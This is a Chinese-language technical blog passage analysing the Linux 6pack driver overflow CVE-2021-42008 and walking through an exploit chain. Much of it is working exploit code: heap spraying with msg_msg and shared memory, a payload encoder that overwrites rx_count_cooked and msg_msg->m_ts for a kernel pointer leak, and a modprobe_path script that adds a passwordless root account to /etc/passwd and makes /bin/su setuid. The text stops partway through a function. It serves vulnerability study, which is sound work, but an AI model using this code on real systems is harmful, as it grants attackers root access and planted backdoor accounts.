【kernel exploit】CVE-2021-42008 6pack协议解码溢出漏洞利用

2021/12/09 Kernel-exploit 共 25684 字,约 74 分钟

【kernel exploit】CVE-2021-42008 6pack协议解码溢出漏洞利用

影响版本:Linux 2.1.94~v5.13.12。 v5.13.13 版本已修补,漏洞存在了16年,2005年 commit-1da177e4c3f 引入。 评分7.8分,用户需具备 CAP_NET_ADMIN 权限,限制了漏洞的利用。

测试版本:Linux-v5.13.12 测试环境下载地址https://github.com/bsauce/kernel_exploit_factory

原exp作者测试环境为 Debian 11 - Kernel 5.10.0-8-amd64,如果适配其他版本,需修改 sp->cooked_buf 和下一个对象的距离。

编译选项CONFIG_6PACK=y CONFIG_AX25=y

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

本文exp用到了userfaultfd,但5.11版本开始限制了用户对userfaultfd的使用,所以需根据 first patchsecond patch 补丁进行回退(去掉SYSCALL_DEFINE1(userfaultfd, int, flags) 函数开头的权限判断语句即可)。

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.13.12.tar.xz
$ tar -xvf linux-5.13.12.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述drivers/net/hamradio/6pack.cdecode_data() 函数存在越界写漏洞,用户需具备 CAP_NET_ADMIN 权限。sixpack_decode() 可多次调用 decode_data() ,对输入进行解码并保存到 sixpack->cooked_bufsixpack->rx_count_cooked成员充当访问 sixpack->cooked_buf 的下标,确定写入解码字节的目标偏移。问题是如果多次调用decode_data()rx_count_cooked就会一直递增,直到超过 cooked_buf 的长度(400字节),导致越界写。

补丁patch 对下标 rx_count_cooked 进行判断,一旦超过400则返回。

diff --git a/drivers/net/hamradio/6pack.c b/drivers/net/hamradio/6pack.c
index fcf3af76b6d7b..8fe8887d506a3 100644
--- a/drivers/net/hamradio/6pack.c
+++ b/drivers/net/hamradio/6pack.c
@@ -827,6 +827,12 @@ static void decode_data(struct sixpack *sp, unsigned char inbyte)
 		return;
 	}
 
+	if (sp->rx_count_cooked + 2 >= sizeof(sp->cooked_buf)) {
+		pr_err("6pack: cooked buffer overrun, data loss\n");
+		sp->rx_count = 0;
+		return;
+	}
+
 	buf = sp->raw_buf;
 	sp->cooked_buf[sp->rx_count_cooked++] =
 		buf[0] | ((buf[1] << 2) & 0xc0);

保护机制:KASLR / SMEP / SMAP / PTI。开启 CONFIG_SLAB_FREELIST_RANDOM / CONFIG_SLAB_FREELIST_HARDENED / CONFIG_HARDENED_USERCOPY

利用总结

  • (1)初始化,绑定到CPU0执行,准备modprobe相关的文件,准备8个页错误处理线程(构造任意写时需要用到,篡改modprobe_path);
  • (2)构造越界读的内存布局,喷射100个shm_file_data(kmalloc-32),6个msg_msg(kmalloc-4k)和msg_msgseg(kmalloc-32);
  • (3)越界读泄露内核基址:使漏洞对象sixpack占据一个空闲的msg_msg,并溢出覆写msg_msg->m_ts,泄露init_ipc_ns
  • (4)任意写篡改modprobe_path:等待sixpack结构重置,释放sixpack之后的msg_msg,喷射8个msg_msg并在copy_from_user()挂起,触发漏洞篡改msg_msg->next指向modprobe_path,放开页错误处理线程的栅栏,篡改modprobe_path
  • (5)提权。

思考

  • (1)可以考虑不用userfaultfd,学习 CVE-2021-43267 的思路,劫持 tty_operations 函数表的ioctl指针,指向任意写gadget(mov QWORD PTR [rdx],rsi),篡改modprobe_path。不过开启了CONFIG_SLAB_FREELIST_HARDENED会导致地址泄露不稳定。
  • (2)CAP_NET_ADMIN 是绕不过去的槛。

1. 漏洞分析

1-1. 6pack协议介绍

6pack协议简介6pack传输协议用于PC和TNC (Terminal Node Controller) 通过串口进行数据交互。它可以替代KISS协议(AX.25之上的网络互连),AX.25是数据链路层的协议,用于业余分组无线电网络(卫星也用到该协议,例如3CAT2)。

6pack加载方式:可将某个tty的line discipline设置为 N_6PACK。先创建一个ptmx/pts 对(对应主端和从端),从端的行规则设置为 N_6PACK

#define N_6PACK 7

int open_ptmx(void)
{
    int ptmx;
    ptmx = getpt();

    if (ptmx < 0)
    {
        perror("[X] open_ptmx()");
        exit(1);
    }

    grantpt(ptmx);
    unlockpt(ptmx);
    return ptmx;
}

int open_pts(int fd)
{
    int pts;
    pts = open(ptsname(fd), 0, 0);

    if (pts < 0)
    {
        perror("[X] open_pts()");
        exit(1);
    }
    return pts;
}

void set_line_discipline(int fd, int ldisc)
{
    if (ioctl(fd, TIOCSETD, &ldisc) < 0) // [2]
    {
        perror("[X] ioctl() TIOCSETD");
        exit(1);
    }
}

int init_sixpack()
{
    int ptmx, pts;

    ptmx = open_ptmx();
    pts = open_pts(ptmx);

    set_line_discipline(pts, N_6PACK); // [1]
    return ptmx;
}

从以上代码可以看出,打开ptmx和相应的从端后,调用set_line_discipline() (就是ioctl(fd, TIOCSETD, &ldisc) 的包装)设置pts的行规则为 N_6PACK - [1]

行规则(Line discipline):也叫做LDISC,是字符设备和伪终端(或真实硬件)的中间层,决定了设备相关的语义规则。例如,行规则将用户在终端输入的 CTRL+CSIGINT 信号联系到一起,更多的tty/pty/ptmx/pts/ldsc相关知识可参考 The TTY demystified

6pack初始化:将pts的行规则设置为 N_6PACK 之后,sixpack_init_driver()就会初始化6pack驱动,调用 tty_register_ldisc() 来注册新的行规则。sp_ldisc 存储了函数表。

static int __init sixpack_init_driver(void)
{
	int status;

	printk(msg_banner);

	/* Register the provided line protocol discipline */
	if ((status = tty_register_ldisc(N_6PACK, &sp_ldisc)) != 0)  // [1]
		printk(msg_regfail, status);

	return status;
}

static struct tty_ldisc_ops sp_ldisc = {
	.owner		= THIS_MODULE,
	.magic		= TTY_LDISC_MAGIC,
	.name		= "6pack",
	.open		= sixpack_open,				// <----
	.close		= sixpack_close,
	.ioctl		= sixpack_ioctl,
	.receive_buf	= sixpack_receive_buf,
	.write_wakeup	= sixpack_write_wakeup,
};

打开6pack:可调用 sixpack_open() 打开 sixpack channel。

/*
 * Open the high-level part of the 6pack channel.
 * This function is called by the TTY module when the
 * 6pack line discipline is called for.  Because we are
 * sure the tty line exists, we only have to link it to
 * a free 6pcack channel...
 */
static int sixpack_open(struct tty_struct *tty)
{
	char *rbuff = NULL, *xbuff = NULL;
	struct net_device *dev;
	struct sixpack *sp;
	unsigned long len;
	int err = 0;

	if (!capable(CAP_NET_ADMIN))	// [1] 只有 CAP_NET_ADMIN 权限才能和 6pack 驱动交互
		return -EPERM;
	if (tty->ops->write == NULL)
		return -EOPNOTSUPP;

	dev = alloc_netdev(sizeof(struct sixpack), "sp%d", NET_NAME_UNKNOWN,
			   sp_setup);							// [2] 分配网络设备 net device, 实际调用 alloc_netdev_mqs()
	if (!dev) {
		err = -ENOMEM;
		goto out;
	}

	sp = netdev_priv(dev);				// [3] 设置 sixpack 结构的起始地址
	sp->dev = dev;

	... ...
	sp->led_state   = 0x60;
	sp->status      = 1;					// [4] 设置 status 域
	sp->status1     = 1;
	sp->status2     = 0;
	sp->tx_enable   = 0;

	netif_start_queue(dev);

	timer_setup(&sp->tx_t, sp_xmit_on_air, 0);

	timer_setup(&sp->resync_t, resync_tnc, 0);	// [5] 设置2个timer,当第2个timer超时后会调用 resync_tnc() 函数 (这对利用很有帮助)

	spin_unlock_bh(&sp->lock);

	/* Done.  We have linked the TTY line to a channel. */
	tty->disc_data = sp;			// [6] tty line 和 sixpack channel 链接在一起
	tty->receive_room = 65536;

	/* Now we're ready to register. */
	err = register_netdev(dev);		// 注册 net device
	if (err)
		goto out_free;

	tnc_init(sp);							// [7] 设置超时回调函数 resync_tnc(),一旦超时就调用该函数对sixpack结构进行重置

	return 0;

out_free:
	kfree(xbuff);
	kfree(rbuff);

	free_netdev(dev);

out:
	return err;
}

// [7] tnc_init() —— 将 sp->resync_t timer 的超时时间设置为 jiffies + SIXP_RESYNC_TIMEOUT
static inline int tnc_init(struct sixpack *sp)
{
	unsigned char inbyte = 0xe8;

	tnc_set_sync_state(sp, TNC_UNSYNC_STARTUP);

	sp->tty->ops->write(sp->tty, &inbyte, 1);

	mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT);	// [7-1] /include/linux/jiffies.h 中定义了 jiffies 全局变量,保存了系统启动后的tick数,每次发生时钟中断都会加1。HZ由CONFIG_HZ确定,HZ = number of ticks/sec, jiffies = number of ticks。这样就能计算时间 sec = jiffies/HZ
    // 这就是内核判断超时的方法,例如,超时10s可表示为 jiffies + (10*HZ)
    // 这里 SIXP_RESYNC_TIMEOUT = 5*HZ, 表示一旦超时5s, 就会调用 resync_tnc() 函数

	return 0;
}

漏洞结构的分配[2] - alloc_netdev_mqs():首先分配 net_device 结构,0x940字节,再加上sizeof_priv的值(sixpack 结构的大小,0x270字节),最终分配0xbcf字节,位于kmalloc-4096

// [2]
[...]

alloc_size = sizeof(struct net_device); // 0x940 bytes
if (sizeof_priv) {
	/* ensure 32-byte alignment of private area */
	alloc_size = ALIGN(alloc_size, NETDEV_ALIGN);
	alloc_size += sizeof_priv; 			// 0x270 bytes
}
/* ensure 32-byte alignment of whole construct */
alloc_size += NETDEV_ALIGN - 1;

p = kvzalloc(alloc_size, GFP_KERNEL | __GFP_RETRY_MAYFAIL);
if (!p)
	return NULL;

dev = PTR_ALIGN(p, NETDEV_ALIGN);

[...]

1-2. 到达漏洞点—sixpack_receive_buf()

现在可以与sixpack驱动交互了,当我们往ptmx写时,就会调用sixpack_receive_buf() -> sixpack_decode()

sixpack_decode() 会遍历我们通过sixpack channel传入的缓冲区(pre_rbuff),根据每个inbyte字节的值来走不同的路径,为了走到[4],必须满足以下条件:

  • (a)inbyte & SIXP_PRIO_CMD_MASK 必须为0,否则会调用decode_prio_command()
  • (b)inbyte & SIXP_STD_CMD_MASK 必须为0,否则会调用decode_std_command()
  • (c)sp->status & SIXP_RX_DCD_MASK 必须等于 SIXP_RX_DCD_MASK

由于输入字节可控,条件 (a) (b) 很容易满足,而 (c) 需要控制 sixpack->status,前面分析 sixpack_open() 函数时,这个status 变量被设置为1,如何控制该变量呢?

#define SIXP_FOUND_TNC		0xe9
#define SIXP_PRIO_CMD_MASK	0x80		// 10000000
#define SIXP_PRIO_DATA_MASK	0x38 		// 00111000
#define SIXP_RX_DCD_MASK	0x18		// 00011000
#define SIXP_DCD_MASK		0x08 		//     1000
/* decode a 6pack packet */
static void sixpack_decode(struct sixpack *sp, const unsigned char *pre_rbuff, int count)
{
	unsigned char inbyte;
	int count1;

	for (count1 = 0; count1 < count; count1++) {
		inbyte = pre_rbuff[count1];					// [1] 
		if (inbyte == SIXP_FOUND_TNC) {
			tnc_set_sync_state(sp, TNC_IN_SYNC);
			del_timer(&sp->resync_t);
		}
		if ((inbyte & SIXP_PRIO_CMD_MASK) != 0)		// [2] 10000000
			decode_prio_command(sp, inbyte);
		else if ((inbyte & SIXP_STD_CMD_MASK) != 0)	// [3]
			decode_std_command(sp, inbyte);
		else if ((sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)	// [4] 走到这里
			decode_data(sp, inbyte);
	}
}

方法:可通过 [2]decode_prio_command() 来间接修改 sixpack->status

当我们调用 decode_prio_command() 时,如果满足条件 [2-1],就可以通过 [2-4] 控制 sp->status(cmd可控)。目标是将 sp->status 修改为 SIXP_RX_DCD_MASK

问题:如果满足条件 [2-2] ,则 [2-3] 会清除cmd变量中的 SIXP_RX_DCD_MASK 位,所以必须绕过检查 [2-2] 中的两个条件。但是第1次调用 decode_prio_command() 时,sp->status == 1,满足第1个条件 ((sp->status & SIXP_DCD_MASK) == 0) ;显然满足第2个条件 ((cmd & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK) ,和目标一致。所以第1次必然通过 [2-2] 的检查,必然走到 [2-3],必然清除 SIXP_RX_DCD_MASK 位。

解决:可以通过2次调用 decode_prio_command() 来解决问题,第1次调用时,将 sp->status 设置为 SIXP_DCD_MASK(设置cmd不满足[2-2]中第2个条件),使得第2次调用时不满足 [2-2] 中第1个条件—((sp->status & SIXP_DCD_MASK) == 0)(设置sp->status = SIXP_DCD_MASK)。这样第2次调用时就能避免[2-3],直接走到[2-4],顺利设置 sp->status = SIXP_RX_DCD_MASK

/* identify and execute a 6pack priority command byte */
static void decode_prio_command(struct sixpack *sp, unsigned char cmd)
{
	int actual;

	if ((cmd & SIXP_PRIO_DATA_MASK) != 0) {     // 00111000 [2-1] 需满足本条件

	/* RX and DCD flags can only be set in the same prio command,
	   if the DCD flag has been set without the RX flag in the previous
	   prio command. If DCD has not been set before, something in the
	   transmission has gone wrong. In this case, RX and DCD are
	   cleared in order to prevent the decode_data routine from
	   reading further data that might be corrupt. */

		if (((sp->status & SIXP_DCD_MASK) == 0) && 	// 1000
			((cmd & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)) {	// [2-2] 绕过本check
				if (sp->status != 1)
					printk(KERN_DEBUG "6pack: protocol violation\n");
				else
					sp->status = 0;
				cmd &= ~SIXP_RX_DCD_MASK;		// 00011000 [2-3] 如果满足条件[2-2], 则cmd变量中的 SIXP_RX_DCD_MASK 位就会被清除。
		}
		sp->status = cmd & SIXP_PRIO_DATA_MASK;	// 00111000 [2-4] SIXP_RX_DCD_MASK 与 SIXP_PRIO_DATA_MASK 有2个重叠的1,所以能将 sp->status 修改为 SIXP_RX_DCD_MASK
	} else { /* output watchdog char if idle */
		if ((sp->status2 != 0) && (sp->duplex == 1)) {
			sp->led_state = 0x70;
			sp->tty->ops->write(sp->tty, &sp->led_state, 1);
			sp->tx_enable = 1;
			actual = sp->tty->ops->write(sp->tty, sp->xbuff, sp->status2);
			sp->xleft -= actual;
			sp->xhead += actual;
			sp->led_state = 0x60;
			sp->status2 = 0;

		}
	}

	/* needed to trigger the TNC watchdog */
	sp->tty->ops->write(sp->tty, &sp->led_state, 1);

        /* if the state byte has been received, the TNC is present,
           so the resync timer can be reset. */

	if (sp->tnc_state == TNC_IN_SYNC)
		mod_timer(&sp->resync_t, jiffies + SIXP_INIT_RESYNC_TIMEOUT);

	sp->status1 = cmd & SIXP_PRIO_DATA_MASK;
}

计算输入字节:其实手算就能算出第1次 input = 10001000,第2次 input = 10011000。exp原作者写了python脚本来计算该值:

  • 第1次调用 decode_prio_command()input = 0x88,则 sp->status = 0x8
  • 第2次调用 decode_prio_command()input = 0x98,则 sp->status = 0x18;不满足条件[2-2],跳过 [2-3],执行 [2-4]
  • 满足条件(c),执行漏洞函数 decode_data()
print("[*] First call to decode_prio_command():")
for byte in range(0x100):
	x = byte
	if (x & SIXP_PRIO_CMD_MASK) != 0: # To call decode_prio_command()
		if (x & SIXP_PRIO_DATA_MASK) != 0: # [1] in decode_prio_command()
			if (x & SIXP_RX_DCD_MASK) != SIXP_RX_DCD_MASK: # [2] in decode_prio_command()
				x = x & SIXP_PRIO_DATA_MASK # [3] in decode_prio_command()
				print(f"Input: {hex(byte)} => sp->status = {hex(x)}\n")
				break

print("[*] Second call to decode_prio_command():")
for byte in range(0x100):
	x = byte
	if (x & SIXP_PRIO_CMD_MASK) != 0: # To call decode_prio_command()
		if (x & SIXP_PRIO_DATA_MASK) != 0: # [1] in decode_prio_command()
			if (x & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK: # To reach decode_data()
				x = x & SIXP_PRIO_DATA_MASK # [3] in decode_prio_command()
				print(f"Input: {hex(byte)} => sp->status = {hex(x)}")
				break
'''
[*] First call to decode_prio_command():
Input: 0x88 => s->status = 0x8

[*] Second call to decode_prio_command():
Input: 0x98 => s->status = 0x18
'''

1-3. 漏洞分析

decode_data() 漏洞函数:每次调用decode_data(),就会往 sp->raw_buf 拷贝1字节,当 sp->raw_buf 满3字节,再次调用 decode_data() 时,就会一起解码这3字节并存到 sp->cooked_bufsp->cooked_buf最多400字节,下标变量 sp->rx_count_cooked 不断递增,导致溢出。

问题:由于payload会被decode_data解码,所以payload必须提前用 encode_sixpack() 来编码。

/* decode 4 sixpack-encoded bytes into 3 data bytes */
static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
	unsigned char *buf;

	if (sp->rx_count != 3) {
		sp->raw_buf[sp->rx_count++] = inbyte;	// [1]

		return;
	}

	buf = sp->raw_buf;
	sp->cooked_buf[sp->rx_count_cooked++] =
		buf[0] | ((buf[1] << 2) & 0xc0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[2] & 0x03) | (inbyte << 2);
	sp->rx_count = 0;
}

struct sixpack {
	[...]
	unsigned char		raw_buf[4];
	unsigned char		cooked_buf[400];

	unsigned int		rx_count;
	unsigned int		rx_count_cooked;
	[...]
	unsigned char		status;
	[...]
};

2. 漏洞利用

2-1. 利用思路

溢出情况:首先需要分析 sixpack 结构的内存布局,如果我们溢出了 cooked_buf 就会覆盖 rx_countrx_count_cooked 下标变量。

1

利用思路:已知 rx_count_cooked 变量作为 cooked_buf 缓冲区的下标,如果正确计算溢出值,就能将 rx_count_cooked 修改为一个很大的值,欺骗 decode_data() 函数来覆写下一个对象。

2

victim对象:下面选择 kmalloc-4096 大小的 vctim 对象,当然是 msg_msg对象,参见 Linux内核中利用msg_msg结构实现任意地址读写

struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts; 				// [1]
	struct msg_msgseg *next; 	// [2]
	void *security;
	/* the actual message follows immediately */
};

越界读:将 msg_msg 对象布置在 sixpack 对象之后,msg_msgseg 位于kmalloc-32。将 msg_msg->m_ts 覆盖的很大,就能调用 msgrcv() 越界读取 kmalloc-32 中的数据,泄露内核基址。

任意写:喷射很多位于kmalloc-4096msg_msg 和位于 kmalloc-32msg_msgseg,每个对象都利用 userfaultfd 来使 load_msg() -> copy_from_user() 挂起。溢出修改 msg_msg->next 指向目标地址,例如当前task的cred结构,本文修改的是 modprobe_path。一旦解除 copy_from_user() 的挂起,就能修改目标地址的内容。

2-2. GCC 优化对payload构造的影响

溢出偏移计算:首先需计算 sp->cooked_bufsp->rx_count_cooked 的距离、sp->cooked_buf 和下一个对象的距离。本文环境中 sp->rx_count_cooked 位于 sp->cooked_buf[0x194],下一个对象位于 sp->cooked_buf[0x688] 。为了篡改下一个对象,我们需要精心覆盖,使 sp->cooked_buf > 0x688

GCC优化问题:考虑GCC对 decode_data() 函数的优化。当调用 decode_data() 时,假设 sp->raw_buf 已包含3字节。

  • 优化1:GCC优化减少了对 sp->rx_count_cooked 变量的多次访问,在函数开头,先将 sp->rx_count_cooked 保存到 eax - [1],再mov到 rcx - [2]
  • 优化2:没有直接将3字节一起写入 sp->cooked_buf ,而是在写入第3个字节—[6] 之前,用 eax+3 更新了 sp->rx_count_cooked 变量—[5]。这里很难利用,如果我们使用 [3][4] 修改了 sp->rx_count_cooked 的前2字节,在修改第3个字节前—[6][5] 又把 sp->rx_count_cooked 改回去了。所以一次只能修改sp->rx_count_cooked中的1个字节

综上,我们只能利用第3字节写—[6]修改 sp->rx_count_cooked 的第2个字节(对应偏移sp->cooked_buf[0x195]),例如,将 sp->cooked_buf[0x195] 中的下标 0x01xx 修改成 0x01xx,这样就能接着越界写下一个chunk。

static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
	unsigned char *buf;

        [...]

	buf = sp->raw_buf;
	sp->cooked_buf[sp->rx_count_cooked++] =
		buf[0] | ((buf[1] << 2) & 0xc0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[2] & 0x03) | (inbyte << 2);
	sp->rx_count = 0;
}

decode_data + 00:        nop    DWORD PTR [rax+rax*1+0x0]
decode_data + 05:        movzx  r8d,BYTE PTR [rdi+0x35] 	// r8d = sp->raw_buf[1]
decode_data + 10: [1]    mov    eax,DWORD PTR [rdi+0x1cc] 	// eax = sp->rx_count_cooked
decode_data + 16:        shl    esi,0x2
decode_data + 19:        lea    edx,[r8*4+0x0]
decode_data + 27: [2]    mov    rcx,rax 					// rcx = sp->rx_count_cooked
decode_data + 30:        lea    r9d,[rax+0x1] 				// r9d = sp->rx_count_cooked + 1
decode_data + 34:        and    r8d,0xf
decode_data + 38:        and    edx,0xffffffc0
decode_data + 41:        or     dl,BYTE PTR [rdi+0x34] 		// dl or sp->raw_buf[0]
decode_data + 44: [3]    mov    BYTE PTR [rdi+rax*1+0x38],dl // Write 1st decoded byte in sp->cooked_buf
decode_data + 48:        movzx  edx,BYTE PTR [rdi+0x36] 	// eax = sp->raw_buf[2]
decode_data + 52:        lea    eax,[rdx*4+0x0]
decode_data + 59:        and    edx,0x3
decode_data + 62:        and    eax,0xfffffff0
decode_data + 65:        or     esi,edx
decode_data + 67:        or     eax,r8d
decode_data + 70: [4]    mov    BYTE PTR [rdi+r9*1+0x38],al // Write 2nd decoded byte in sp->cooked_buf
decode_data + 75:        lea    eax,[rcx+0x3] 				// eax = sp->rx_count_cooked + 3
decode_data + 78: [5]    mov    DWORD PTR [rdi+0x1cc],eax 	// sp->rx_count_cooked = sp->rx_count_cooked + 3
decode_data + 84:        lea    eax,[rcx+0x2] 				// eax = sp->rx_count_cooked + 2
decode_data + 87: [6]    mov    BYTE PTR [rdi+rax*1+0x38],sil // Write 3rd decoded byte in sp->cooked_buf
decode_data + 92:        mov    DWORD PTR [rdi+0x1c8],0x0 	// sp->rx_count = 0
decode_data + 102:       ret    

3

对齐问题:由于 decode_data() 一次写3字节到 sp->cooked_buf,那么每次第3字节都会写到偏移 0x2、0x8、…、0x191、0x194,不能将第3字节写到偏移0x195(也就是 sp->rx_count_cooked 的第2字节)。

解决:我们可以先将偏移0x194(也就是 sp->rx_count_cooked 的第1字节)写为0x90,这时 sp->rx_count_cooked = 0x190 ,这样2次调用 decode_data() 后就会将第3字节写入偏移 0x195。

  • 首先,当 sp->rx_count_cooked == 0x192 且再次调用 decode_data() 时,先将前2字节写入 sp->cooked_buf[0x192]sp->cooked_buf[0x193][3][4]指令;
  • 然后指令[5] 采用 eax+3 == 0x192+3 == 0x195 来更新 sp->rx_count_cooked
  • 最后,指令[6] 修改 sp->rx_count_cooked 的第1字节(也就是 sp->cooked_buf[0x194]),使得 sp->rx_count_cooked == 0x190

4

现在 sp->rx_count_cooked == 0x190,再次调用 decode_data() 时操作如下:

  • 前2字节写入sp->cooked_bufsp->cooked_buf[0x190]sp->cooked_buf[0x191]);
  • 更新 sp->rx_count_cooked = eax+3 = 0x190+3 = 0x193
  • 第3字节写入 sp->cooked_buf[0x192]

5

最后调用decode_data(),将 sp->rx_count_cooked 设置为 0x696:

  • 前2字节写入sp->cooked_bufsp->cooked_buf[0x193]sp->cooked_buf[0x194]);
  • 更新 sp->rx_count_cooked = eax+3 = 0x193+3 = 0x196
  • 第3字节写入 sp->cooked_buf[0x195]

6

2-3. 越界读泄露内核基址

接下来 decode_data() 继续将 0x0e 字节的payload越界写到下一个chunk中。

初始化:由于工作在SMD环境,每个CPU都管理着SLUB分配器中可用的slab(参见kmem_cache_cpu),需要确保在同一个CPU上运行,增大利用成功率,调用 sched_setaffinity() 限制在核0上运行。再调用 prepare_exploit() 来准备 modprobe 所需的文件,执行成功后,程序会新添一个有root权限的用户。

void prepare_exploit()
{
    system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/asd");
    system("chmod +x /tmp/asd");
    system("echo '#!/bin/sh' > /tmp/x");
    system("echo 'chmod +s /bin/su' >> /tmp/x"); // Needed for busybox, just in case
    system("echo 'echo \"pwn::0:0:pwn:/root:/bin/sh\" >> /etc/passwd' >> /tmp/x"); // [4]
    system("chmod +x /tmp/x");

    memcpy(buff2 + 0xfc8, "/tmp/x\00", 7);
}


void assign_to_core(int core_id)
{
    cpu_set_t mask;
    pid_t pid;

    pid = getpid();

    printf("[*] Assigning process %d to core %d\n", pid, core_id);

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) // [2]
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }

    print_affinity();
}

[...]

assign_to_core(0); // [1]
prepare_exploit(); // [3]

[...]

越界读的堆布局

  • (1)喷射 shm_file_data 结构占据kmalloc-32 (调用shmget()分配共享内存,调用 shmat() 附加到调用进程的地址空间),便于泄露 init_ipc_ns 内核地址;

  • (2)接着分配 N_MSG(本exp中为7)个消息队列—[2],每个消息队列发送0xfe8字节的消息(0xfd0字节msg_msg消息和0x18字节的msg_msgseg消息)—[3],将分配kmalloc-4096大小的msg_msgkmalloc-32 大小的 msg_msgseg

  • (3)再调用 msgrcv() 释放一个消息—[4]

  • (4)初始化 sixpack channel,分配一个kmalloc-4096 大小的 net_device 结构和 sixpack 结构。

void alloc_msg_queue_A(int id)
{
    if ((qid_A[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("[X] msgget");
        exit(1);
    }
}


void send_msg(int qid, int size, int type, int c)
{
    struct msgbuf
    {
        long mtype;
        char mtext[size - 0x30];
    } msg;

    msg.mtype = type;
    memset(msg.mtext, c, sizeof(msg.mtext));

    if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
    {
        perror("[X] msgsnd");
        exit(1);
    }
}


void *recv_msg(int qid, size_t size, int type)
{
    void *memdump = malloc(size);

    if (msgrcv(qid, memdump, size, type, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) < 0)
    {
        perror("[X] msgrcv");
        return NULL;
    }

    return memdump;
}


void alloc_shm(int i)
{
    shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);

    if (shmid[i]  < 0)
    {
        perror("[X] shmget fail");
        exit(1);
    }

    shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);

    if (shmaddr[i] < 0)
    {
        perror("[X] shmat");
        exit(1);
    }
}

[...]

puts("[*] Spraying shm_file_data in kmalloc-32...");
for (int i = 0; i < 100; i++)
    alloc_shm(shmid[i]); 					// [1]

puts("[*] Spraying messages in kmalloc-4k...");
for (int i = 0; i < N_MSG; i++)
    alloc_msg_queue_A(i); 					// [2]

for (int i = 0; i < N_MSG; i++)
    send_msg(qid_A[i], 0x1018, 1, 'A' + i); // [3]

recv_msg(qid_A[0], 0x1018, 0); 				// [4]
ptmx = init_sixpack(); 						// [5]

[...]

现在内存布局如下所示,sixpack 结构后面是 msg_msg 结构。

7

注意:现在我们不知道sixpack结构后面跟的是哪一个消息队列的消息,所以暂时用 QID #X 表示。现在可以通过 sixpack channel 来发送payload了。

触发漏洞

  • (1)我们调用 generate_paylaod() 来生成和编码payload—[1],欺骗 decode_data()sp->rx_count_cooked 设置为 0x190—[2]

  • (2)然后覆写sp->rx_count_cooked 的第2个字节为0x6,sp->rx_count_cooked == 0x696[3]

  • (3)decode_data()继续往 sp->cooked_buf[0x696] 写入,会篡改msg_msg->m_list->prev 指针,由于已知其高位两字节为0xffff,很容易修复—[4]

  • (4)覆盖 msg_msg->m_ts 为0x1100,这样调用msgrcv()就能OOB读,目前不需要覆盖 msg_msg->next[6],所以可以直接编码 buffer — [7],设置payload的前2字节为0x88和0x98,以走到漏洞函数,所以前2字节不需要编码,调用sixpack_encode()时将 sp->rx_count 设置为2。

uint8_t *sixpack_encode(uint8_t *src)
{
    uint8_t *dest = (uint8_t *)calloc(1, 0x3000);
    uint32_t raw_count = 2; // [8]

    for (int count = 0; count <= PAGE_SIZE; count++)
    {
        if ((count % 3) == 0)
        {
            dest[raw_count++] = (src[count] & 0x3f);
            dest[raw_count] = ((src[count] >> 2) & 0x30);
        }
        else if ((count % 3) == 1)
        {
            dest[raw_count++] |= (src[count] & 0x0f);
            dest[raw_count] =	((src[count] >> 2) & 0x3c);
        }
        else
        {
            dest[raw_count++] |= (src[count] & 0x03);
            dest[raw_count++] = (src[count] >> 2);
        }
    }

    return dest;
}


uint8_t *generate_payload(uint64_t target)
{
    uint8_t *encoded;

    memset(buff, 0, PAGE_SIZE);

    // sp->rx_count_cooked = 0x190
    buff[0x194] = 0x90; // [2]

    // sp->rx_count_cooked = 0x696
    buff[0x19a] = 0x06; // [3]

    // fix upper two bytes of msg_msg.m_list.prev
    buff[0x19b] = 0xff; // [4]
    buff[0x19c] = 0xff;

    // msg_msg.m_ts = 0x1100
    buff[0x1a6] = 0x11; // [5]

    // msg_msg.next = target
    if (target) // [6]
        for (int i = 0; i < sizeof(uint64_t); i++)
            buff[0x1ad + i] = (target >> (8 * i)) & 0xff;

    encoded = sixpack_encode(buff);

    // sp->status = 0x18 (to reach decode_data())
    encoded[0] = 0x88; 	// [7]
    encoded[1] = 0x98;

    return encoded;
}

[...]

payload = generate_payload(0); 				// [1]
write(ptmx, payload, LEAK_PAYLOAD_SIZE); 	// [9]

[...]

通过sixpack channel 发送payload,并被sixpack_decode()处理之后,内存布局如下所示:

8

篡改msg_msg->m_ts:现在成功利用 sp->cooked_buf的溢出将 sp->rx_count_cooked 修改成了 0x696,欺骗 decode_data() 继续往 sp->cooked_buf[0x696] 写入payload,成功覆写了 msg_msg->m_ts,以下是OOB写发生后的GDB调试结果:

9

OOB读:由于不知道哪个消息队列的消息位于sixpack结构后面,我们调用 leak_pointer() 遍历所有队列,直到找到 init_ipc_ns 指针—[2],表示找到了正确的消息队列,调用find_message_queue() 找到QID下标—[3],最后计算 modprobe_path 地址。如果过程失败了,表示没有任何消息分配在 sixpack 结构之后,只能重新运行exploit(由于kmalloc-4096在内核中很少用到,所以成功率很高)。

void close_queue(int qid)
{
    if (msgctl(qid, IPC_RMID, NULL) < 0)
    {
        perror("[X] msgctl()");
        exit(1);
    }
}


int find_message_queue(uint16_t tag)
{
